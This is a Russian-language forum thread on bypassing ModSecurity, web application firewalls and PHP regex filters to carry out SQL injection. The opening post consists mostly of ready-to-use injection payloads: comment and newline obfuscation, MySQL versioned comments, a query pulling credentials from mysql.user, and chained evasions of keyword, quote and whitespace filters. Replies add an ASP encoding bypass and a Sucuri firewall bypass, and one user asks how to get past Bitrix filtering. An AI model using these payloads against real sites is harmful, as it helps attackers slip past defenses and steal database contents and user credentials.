Старый 18.07.2015, 07:04   #1
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию bypass mod_security, WAF, phpids and etc filters

Обсудим методы обхода Систем Обнаружения/Предотвращения Вторжений в Web.
На данный момент я готовлю тренировочную площадку для тестирования методов обхода mod_security, если есть заинтересованные личности можем обменяться контактами и поработать вместе.
И так что мы наресерчили на сегодня:

bypass mod_security

Комментарии + перевод каретки %0D%0A
Код:
http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
url-decode вариант:
Код:
http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union#foo*/*bar
select#foo
1,2,current_user
Комбинирование комментариев и управляющих символов (перевод каретки %0D%0A) Отбросив комментарии мы получаем запрос вида:
Код:
0 div 1 union select 1,2,current_user
Технология Unterminated Comments + MySQL Comment Extensions for conditional code execution.
Код:
hUserId=22768&FromDate=1&ToDate=1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-&sendbutton1=Get+Statement
Код:
/*! MySQL-specific code */
Цитата:
In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions.
Внутри такого комментария можно указать условия выполнения, к примеру:
Код:
CREATE /*!32302 TEMPORARY */ TABLE t (a INT);
TEMPORARY - конструкция будет задействована на серверах чья версия 3.23.02 или выше.

Ссылки по теме:
8 примеров на eng как обходили в свое время mod_sec правила: https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge--Lessons-Learned/
Mod_Security Bypass Login (CRS, SQL Injection) http://software-talk.org/blog/2015/02/mod_security-bypass-login-sql-injection/
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/37

Other PHP Filters
Интересные примеры с обходами различных фильтров основанных на "недодуманных" регулярных выражениях.

Обход фильтра and, or
Код:
PHP filter code:	preg_match('/(and|or)/i', $id)
Filtered injection:	1 or 1 = 1		1 and 1 = 1
Bypassed injection:	1 || 1 = 1		1 && 1 = 1
Обход and, or, union
Код:
PHP filter code:	preg_match('/(and|or|union)/i', $id)
Filtered injection:	union select user, password from users
Bypassed injection:	1 || (select user from users where user_id = 1) = 'admin'
Обход фильтра where
Код:
Filtered injection:	1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection:	1 || (select user from users limit 1) = 'admin'
Обход фильтра limit
Код:
Filtered injection:	1 || (select user from users limit 1) = 'admin'
Bypassed injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
Обход фильтра group by
Код:
PHP filter code:	preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection:	1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
Обход фильтра select
Код:
PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection:	1 || (select substr(group_concat(user_id),1,1) user from users) = 1
Bypassed injection:	1 || 1 = 1 into outfile 'result.txt'
Bypassed injection:	1 || substr(user,1,1) = 'a'
Обход фильтра ' (одинарная ковычка)
Код:
PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection:	1 || (select substr(group_concat(user_id),1,1) user from users) = 1
Bypassed injection:	1 || user_id is not null
Bypassed injection:	1 || substr(user,1,1) = 0x61
Bypassed injection:	1 || substr(user,1,1) = unhex(61)

Обход фильтра hex
Код:
Filtered injection:	1 || substr(user,1,1) = unhex(61)
Bypassed injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
Обход фильтра substr
Код:
Filtered injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection:	1 || lpad(user,7,1)

Обход фильтра white space (пробел)
Код:
PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection:	1 || lpad(user,7,1)
Bypassed injection:	1%0b||%0blpad(user,7,1)
Еще варианты:
Код:
+, %2B, %20, %09, %0d ,%0А, /**/, /*tuns*/
Обход фильтра "=" (знак равенства)
Код:
script.php?par=1 and substring(Version(),1,1)like(5)
script.php?par=1 and substring(Version(),1,1)not in(4,3)
script.php?par=1 and substring(Version(),1,1)in(4,3)

bypass Web Application Firewall (WAF)
Вставка комментариев в управляющие конструкции
Код:
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
Обход регистро-зависимых фильтров
Код:
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
Не рекурсивные фильтры:
Код:
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
Двойной URL-Encode
Код:
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
Общие ссылки:
Слайд от Дмитрия Евтеева: http://www.slideshare.net/devteev/methods-to-bypass-a-web-application-firewall-eng
https://www.exploit-db.com/papers/17934/
http://forum.antichat.ru/threads/425295/

P.S. Тема в стадии разработки.

Последний раз редактировалось b3; 18.07.2015 в 17:30..
b3 вне форума   Ответить с цитированием
Старый 18.07.2015, 07:05   #2
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

удалить https://rdot.org/forum/showthread.php?t=3328
b3 вне форума   Ответить с цитированием
Старый 19.07.2015, 14:15   #3
Ic3
 
Регистрация: 14.05.2013
Сообщений: 14
Репутация: 1
По умолчанию

ASP.NET тоже бы добавить не помешало.

WAF bypass (ASP)

Код:
%S%E%L%E%C%T %C%O%L%U%M%N %F%R%O%M %T%A%B%L%E
Ic3 вне форума   Ответить с цитированием
Старый 20.07.2015, 09:48   #4
omen666
 
Регистрация: 06.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

WAF
Кот ответа 403

Контент
Код:
Sucuri WebSite Firewall - CloudProxy - Access Denied
What is going on?
You are not allowed to access the requested page. If you are the site owner, please open a ticket in our support page if you think it was caused by an error: https://support.sucuri.net. If you are not the owner of the web site, you can contact us at soc@sucuri.net. Also make sure to include the block details (displayed below), so we can better troubleshoot the error.
Block details
    Your IP: [ip]
    URL: [урль]
    Your Browser: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
    Block ID: SQLi71
    Block reason: SQL injection was detected and blocked.
    Time: Tue, 24 Feb 2015 18:24:19 -0500
    Server ID: cp93
Sucuri CloudProxy
CloudProxy is a WebSite Firewall from Sucuri. It stands between your site and the rest of the world and protects against attacks, malware infections, DDOS, brute force attempts and mostly anything that can harm it.
Not only that, but your sites get cached, speeding it up quite a bit. Interested? Visit http://cloudproxy.sucuri.net
Обходится так: union/*123*/select
__________________
Анонимный интернет без ограничений https://multi-vpn.biz

Последний раз редактировалось omen666; 20.07.2015 в 09:52.. Причина: более развернуто!
omen666 вне форума   Ответить с цитированием
Старый 02.01.2017, 14:12   #5
HAH4TAKo
 
Регистрация: 01.01.2017
Сообщений: 2
Репутация: 0
По умолчанию

Как обойти нынешнюю фильтрацию слова from в bitrix.

DB query error.
Please try later.

waf blochit.
HAH4TAKo вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot